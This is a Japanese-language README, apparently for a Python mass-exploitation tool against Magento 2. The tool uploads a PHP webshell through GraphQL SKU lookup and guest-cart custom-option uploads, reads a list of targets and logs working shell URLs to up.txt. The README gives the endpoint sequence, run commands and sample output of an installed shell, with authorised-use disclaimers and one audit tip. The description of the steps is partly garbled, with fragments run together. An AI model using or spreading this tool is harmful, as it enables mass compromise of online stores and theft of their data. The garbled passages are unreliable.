
Magento 2 Unauthenticated RCE Exploit – GraphQLの商品検索とゲストカートのカスタムオプションを介して、PHPウェブシェルをアップロードします。マルチスレッド対応でSKUを自動検出し、稼働中のシェルURLをup.txtに保存します。認可されたセキュリティテストにのみ使用してください。
⚠️ このツールは教育目的および許可を得たセキュリティテスト専用です。所有していないシステムに対する不正使用は違法です。
このエクスプロイトは、Magento 2(Adobe Commerce)における重大な未認証リモートコード実行(RCE)脆弱性を標的とします。GraphQL による製品検索、ゲストカート作成、カスタム製品オプションを介した悪意のあるファイルアップロードを連鎖させることで、攻撃者は PHP ウェブシェルをアップロードし、対象サーバー上で任意のコード実行を達成できます。
この脆弱性により、リモートの攻撃者はサーバーのファイルシステムに PHP ファイルを書き込み、それにアクセスしてシステムコマンドの実行、ファイルの読み書き、Magento インストールの完全な侵害が可能になります。
Shinday)を確認して、シェルの展開を検証しますup.txt に保存します/graphql から有効な製品 SKU を取得します。/rest/default/V1/guest-carts を呼び出してカート ID を取得します。/rest/default/V1/guest-carts/{cart_id}/items に POST リクエストを送信します。/pub/media/custom_options/quote/... または /media/custom_options/quote/... に保存します。Shinday が含まれるか確認します。up.txt に追記されます。Queue、unicode など、Python 2 固有のモジュールを使用します)requests、urllib3 ライブラリ依存関係をインストール:
pip install requests urllib3
python exploit.py <list.txt>
<list.txt> – ターゲットのベース URL を含むファイル(1行に1つ)。http:///https:// の有無は任意です。https://example.com
http://shop.test
magento2.target.net
up.txt に保存されます。python exploit.py targets.txt
[*] Total targets: 5
[*] Start time: 2025-03-15 12:00:00
[*] Starting 5 threads...
[Thread 1] Processing: https://example.com
[+] SKU : 24-WG080
[+] CART : 8f7c3e9a-1b2f-4d5e-9a8b-7c6d5e4f3a2b
[+] Upload Status : 200
[+] Webshell terpasang: https://example.com/pub/media/custom_options/quote/a1/b2/shell_xyz.php
[✓] Saved to up.txt: https://example.com/pub/media/custom_options/quote/a1/b2/shell_xyz.php
アップロードされる PHP ファイルはシンプルなファイルマネージャー(xxxxx_shin.php のような名前)で、リクエストに応じてウェブベースのファイルエクスプローラーを提供します。このファイルには、スクリプトがアップロード成功を検証するために使用する一意のマーカー Shinday が含まれています。
テスト後はこのシェルをシステムに残さないでください。直ちに削除してください。
/media/custom_options/ に予期しない PHP ファイルがないか定期的に監査してください。このソフトウェアは教育目的および許可を得たペネトレーションテスト専用として提供されます。作者は、このツールによって引き起こされた誤用や損害について一切責任を負いません。このエクスプロイトを対象に対して実行する前に、システム所有者から明示的な書面による許可を得る必要があります。コンピュータシステムへの不正アクセスは、ほとんどの管轄区域で犯罪行為です。
追加の免責事項: Jenderal92 のカバーに記載されている免責事項を確認できます。こちら !!!